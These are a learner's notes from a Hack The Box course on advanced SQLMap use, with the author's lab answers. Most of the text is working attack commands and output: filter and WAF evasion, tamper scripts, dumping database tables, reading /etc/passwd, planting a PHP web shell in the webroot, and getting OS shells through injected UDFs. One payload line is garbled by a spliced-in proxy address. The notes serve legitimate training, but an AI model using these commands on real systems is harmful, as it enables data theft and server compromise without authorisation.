Advanced SQLMap Usage
Anti-CSRF Token Bypass
Additionally, even in a case where the user does not explicitly specify the token's name via --csrf-token
, if one of the provided parameters contains any of the common infixes (i.e. csrf
, xsrf
, token
), the user will be prompted whether to update it in further requests:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
___
__H__
___ ___[,]_____ ___ ___ {1.4.9}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 22:18:01 /2020-09-18/
POST parameter 'csrf-token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] y
Unique Value Bypass
For this, the option --randomize
should be used, pointing to the parameter name containing a value which should be randomized before being sent:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI
URI: http://www.example.com:80/?id=1&rp=99954
URI: http://www.example.com:80/?id=1&rp=87216
URI: http://www.example.com:80/?id=9030&rp=36456
URI: http://www.example.com:80/?id=1.%2C%29%29%27.%28%28%2C%22&rp=16689
URI: http://www.example.com:80/?id=1%27xaFUVK%3C%27%22%3EHKtQrg&rp=40049
URI: http://www.example.com:80/?id=1%29%20AND%209368%3D6381%20AND%20%287422%3D7422&rp=95185
Calculated Parameter Bypass
Most often, one parameter value has to contain the message digest (e.g. h=MD5(id)
) of another one. To bypass this, the option --eval
should be used, where a valid Python code is being evaluated just before the request is being sent to the target:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=9061&h=4d7e0d72898ae7ea3593eb5ebf20c744
URI: http://www.example.com:80/?id=1%2C.%2C%27%22.%2C%28.%29&h=620460a56536e2d32fb2f4842ad5a08d
URI: http://www.example.com:80/?id=1%27MyipGP%3C%27%22%3EibjjSu&h=db7c815825b14d67aaa32da09b8b2d42
URI: http://www.example.com:80/?id=1%29%20AND%209978%socks4://177.39.187.70:33283ssocks4://177.39.187.70:332833D1232%20AND%20%284955%3D4955&h=02312acd4ebe69e2528382dfff7fc5cc
IP Address Concealing
A proxy can be set with the option --proxy
(e.g. --proxy="socks4://177.39.187.70:33283"
), where we should add a working proxy.
If we wanted to be sure that Tor is properly being used, to prevent unwanted behavior, we could use the switch --check-tor
.
WAF Bypass
SQLMap sends a predefined malicious looking payload using a non-existent parameter name (e.g. ?pfov=...
) to test for the existence of a WAF (Web Application Firewall)
For example, if one of the most popular WAF solutions (ModSecurity) is implemented, there should be a 406 - Not Acceptable
response after such a request.
User-agent Blacklisting Bypass
In case of immediate problems (e.g., HTTP error code 5XX from the start) while running SQLMap, one of the first things we should think of is the potential blacklisting of the default user-agent used by SQLMap (e.g. User-agent: sqlmap/1.4.9 (http://sqlmap.org)
).
This is trivial to bypass with the switch --random-agent
, which changes the default user-agent with a randomly chosen value from a large pool of values used by browsers.
Tamper Scripts
For example, one of the most popular tamper scripts between is replacing all occurrences of greater than operator (>
) with NOT BETWEEN 0 AND #
, and the equals operator (=
) with BETWEEN # AND #
. This way, many primitive protection mechanisms (focused mostly on preventing XSS attacks) are easily bypassed, at least for SQLi purposes.
Tamper scripts can be chained, one after another, within the --tamper
option (e.g. --tamper=between,randomcase
), where they are run based on their predefined priority. A priority is predefined to prevent any unwanted behavior, as some scripts modify payloads by modifying their SQL syntax (e.g. ifnull2ifisnull). In contrast, some tamper scripts do not care about the inner content (e.g. appendnullbyte).
Miscellaneous Bypasses
The first one is the Chunked
transfer encoding, turned on using the switch --chunked
, which splits the POST request's body into so-called "chunks." Blacklisted SQL keywords are split between chunks in a way that the request containing them can pass unnoticed.
The other bypass mechanisms is the HTTP parameter pollution
(HPP
), where payloads are split in a similar way as in case of --chunked
between different same parameter named values (e.g. ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...
), which are concatenated by the target platform if supporting it (e.g. ASP
).
PoCs - Questions
What's the contents of table flag8? (Case #8)
We can see a Sqli with POST method in parameter id and anti-CSRF

sqlmap 'http://94.237.57.57:43651/case8.php' -X POST --data="id=1&t0ken=hwg6OrC2k8UGNUnITV3vnZ3EIHih3GA9HiONXgWDY" --csrf-token="t0ken" --batch -p id
##dump
sqlmap 'http://94.237.57.57:43651/case8.php' -X POST --data="id=1&t0ken=hwg6OrC2k8UGNUnITV3vnZ3EIHih3GA9HiONXgWDY" --csrf-token="t0ken" --batch -p id -D testdb -T flag8 --dump
What's the contents of table flag9? (Case #9)
That is a basic sqli injection but the parameter uid is variable
sqlmap "http://94.237.57.57:43651/case9.php?id=1&uid=1697057656" -p id --batch --randomize=uid -v 5
##dump
qlmap "http://94.237.57.57:43651/case9.php?id=1&uid=1697057656" -p id --batch --randomize=uid -v 5 -D testdb -T flag9 --dump
What's the contents of table flag10? (Case #10)
This flag is POST method buuuttt, exist a WAF
## First i try with it
sqlmap "http://94.237.57.57:43651/case10.php" -X POST --data='id=1' --batch --level=5 --risk=3 -p id
## But dont found, now import random agent
sqlmap "http://94.237.53.52:33886/case10.php" -X POST --data='id=1' --batch --level=5 --random-agent
## dump
sqlmap "http://94.237.53.52:33886/case10.php" -X POST --data='id=1' --batch --level=5 --random-agent -D testdb -T flag10 --dump
What's the contents of table flag11? (Case #11)
It is a basic GET inyection: Filtering of characters '<', '>'
sqlmap -u "http://94.237.53.52:33886/case11.php?id=1" -p id --batch --level=5 --risk=3
## or
sqlmap -u "http://94.237.53.52:33886/case11.php?id=1" -p id --batch --level=5 --risk=3 --tamper=between,space2comment
## dump
sqlmap -u "http://94.237.53.52:33886/case11.php?id=1" -p id --batch --level=5 --risk=3 --tamper=between,space2comment -D testdb -T flag11 --dump
OS Exploitation
File Read/Write
The first part of OS Exploitation through an SQL Injection vulnerability is reading and writing data on the hosting server. Reading data is much more common than writing data, which is strictly privileged in modern DBMSes, as it can lead to system exploitation, as we will see. For example, in MySql, to read local files, the DB user must have the privilege to LOAD DATA
and INSERT
, to be able to load the content of a file to a table and then reading that table.
An example of such a command is:
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;
Checking for DBA Privileges
To check whether we have DBA privileges with SQLMap, we can use the --is-dba
option:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:31:55 /2020-11-19/
[17:31:55] [INFO] resuming back-end DBMS 'mysql'
[17:31:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: False
As we can see, if we test that on one of the previous exercises, we get current user is DBA: False
, meaning that we do not have DBA access. If we tried to read a file using SQLMap, we would get something like:
[17:31:43] [INFO] fetching file: '/etc/passwd'
[17:31:43] [ERROR] no data retrieved
Reading Local Files
nstead of manually injecting the above line through SQLi, SQLMap makes it relatively easy to read local files with the --file-read
option:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:40:00 /2020-11-19/
[17:40:00] [INFO] resuming back-end DBMS 'mysql'
[17:40:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[17:40:01] [INFO] fetching file: '/etc/passwd'
[17:40:01] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done)
As we can see, SQLMap said files saved
to a local file. We can cat
the local file to see its content:
eldeim@htb[/htb]$ cat ~/.sqlmap/output/www.example.com/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...SNIP...
Writing Local Files
This is why modern DBMSes disable file-write by default and need certain privileges for DBA's to be able to write files. For example, in MySql, the --secure-file-priv
configuration must be manually disabled to allow writing data into local files using the INTO OUTFILE
SQL query, in addition to any local access needed on the host server, like the privilege to write in the directory we need.
Still, many web applications require the ability for DBMSes to write data into files, so it is worth testing whether we can write files to the remote server. To do that with SQLMap, we can use the --file-write
and --file-dest
options. First, let's prepare a basic PHP web shell and write it into a shell.php
file:
eldeim@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
Now, let's attempt to write this file on the remote server, in the /var/www/html/
directory, the default server webroot for Apache. If we didn't know the server webroot, we will see how SQLMap can automatically find it.
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
___
__H__
___ ___[']_____ ___ ___ {1.4.11#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:54:18 /2020-11-19/
[17:54:19] [INFO] resuming back-end DBMS 'mysql'
[17:54:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
Now, we can attempt to access the remote PHP shell, and execute a sample command:
eldeim@htb[/htb]$ curl http://www.example.com/shell.php?cmd=ls+-la
total 148
drwxrwxrwt 1 www-data www-data 4096 Nov 19 17:54 .
drwxr-xr-x 1 www-data www-data 4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql mysql 188 Nov 19 07:39 basic.php
...SNIP...
OS Command Execution
To get an OS shell with SQLMap, we can use the --os-shell
option, as follows:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --os-shell
___
__H__
___ ___[.]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 18:02:15 /2020-11-19/
[18:02:16] [INFO] resuming back-end DBMS 'mysql'
[18:02:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[18:02:37] [INFO] the local file '/tmp/sqlmapmswx18kp12261/lib_mysqludf_sys8kj7u1jp.so' and the remote file './libslpjs.so' have the same size (8040 B)
[18:02:37] [INFO] creating UDF 'sys_exec' from the binary UDF file
[18:02:38] [INFO] creating UDF 'sys_eval' from the binary UDF file
[18:02:39] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[18:02:39] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a
We see that SQLMap defaulted to UNION
technique to get an OS shell, but eventually failed to give us any output No output
. So, as we already know we have multiple types of SQL injection vulnerabilities, let's try to specify another technique that has a better chance of giving us direct output, like the Error-based SQL Injection
, which we can specify with --technique=E
:
eldeim@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
___
__H__
___ ___[,]_____ ___ ___ {1.4.11#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 18:05:59 /2020-11-19/
[18:05:59] [INFO] resuming back-end DBMS 'mysql'
[18:05:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[18:06:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[18:06:09] [WARNING] unable to automatically parse any web server path
[18:06:09] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[18:06:09] [WARNING] potential permission problems detected ('Permission denied')
[18:06:10] [WARNING] unable to upload the file stager on '/var/www/'
[18:06:10] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[18:06:11] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmpumgzr.php
[18:06:11] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmpbznbe.php
[18:06:11] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:
---
total 156
drwxrwxrwt 1 www-data www-data 4096 Nov 19 18:06 .
drwxr-xr-x 1 www-data www-data 4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql mysql 188 Nov 19 07:39 basic.php
...SNIP...
PoCs - Questions
Try to use SQLMap to read the file "/var/www/html/flag.txt".
## First i explote the sqli
sqlmap http://94.237.53.52:58417/?id=1 -p id --batch --level=5 --risk=3
## Then, i read the /var/www/html/flag.txt
sqlmap http://94.237.53.52:58417/?id=1 -p id --batch --level=5 --risk=3 --file-read="/var/www/html/flag.txt"
## Cat it and
## Now, i get a OS Command
sqlmap http://94.237.53.52:58417/?id=1 -p id --batch --level=5 --os-shell
## Search the flag into directories
Last updated